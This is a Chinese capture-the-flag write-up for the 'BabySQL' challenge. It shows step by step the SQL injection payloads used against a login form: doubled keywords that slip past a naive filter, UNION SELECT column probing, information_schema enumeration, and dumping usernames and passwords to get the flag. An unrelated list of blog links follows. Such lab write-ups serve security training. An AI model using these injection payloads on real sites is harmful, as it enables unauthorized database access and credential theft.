[极客大挑战 2019]BabySQL1

看到题目,应该是sql注入类型先试试万能密码

万能密码,闭合双引号?username=admin&password=admin' or '1'='1

构造payload

这里的提示是 => 做了严格的过滤 => 关键在绕过

/check.php?username=root%27+oorr+1%3D1%3B%23&password=root

查找column的数量

/check.php?username=admin' order by 3%23&password=1 反馈有error

推测by也是有过滤的用`bbyy代替

root = admin' oorrder bbyy 3# => Login Success

root = admin' oorrder bbyy 4# => Error

说明这个table里面有三列数据

下一步就是找到回显点

root = admin' union select 1,2,3

得到error

root => 9' ununionion selselectect 1,2,3#

得到说明column2 + column3 可以作为回显点

root => 9' ununionion selselectect 1,database(),version()#

下一步:利用information_schema.tables爆破有哪些table

root => 9' ununionion selselectect 999,999,group_concat(table_name) from information_schema.tables where table_schema=geek# => Error

root = 9' ununionion selselectect 999,999,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()

猜测flag用到base64

再根据这个三个字段爆破数据

root = 9' ununionion selselectect 999,999,group_concat(id,username,passwoorrd) frfromom b4bsql#

得到flag

复制代码
/check.php?username=9%27+ununionion+selselectect+999%2C999%2Cgroup_concat%28table_name%29+frfromom+infoorrmation_schema.tables+whwhereere+table_schema%3D'geek'%23&password=1
相关推荐
nightunderblackcat1 小时前
新手向:异步编程入门asyncio最佳实践
前端·数据库·python
DarkAthena1 小时前
【GaussDB】使用MySQL客户端连接到GaussDB的M-Compatibility数据库
数据库·mysql·gaussdb
livemetee1 小时前
Flink2.0学习笔记:使用HikariCP 自定义sink实现数据库连接池化
大数据·数据库·笔记·学习·flink
XXD啊2 小时前
Redis 从入门到实践:Python操作指南与核心概念解析
数据库·redis·python
好望角雾眠5 小时前
第三阶段数据库-7:sql中函数,运算符,常用关键字
数据库·笔记·sql·学习·sqlserver·c#
牛角上的男孩7 小时前
apt update Ign and 404 Not Found
开发语言·数据库
瓜酷月..11 小时前
MySQL的高可用+MHA
数据库·mysql
差不多的张三11 小时前
【解决方案】powershell自动连接夜神adb端口
数据库·adb
小马哥编程13 小时前
【软考架构】第6章 数据库基本概念
数据库·oracle·架构
自学也学好编程13 小时前
【数据库】PostgreSQL详解:企业级关系型数据库
数据库·postgresql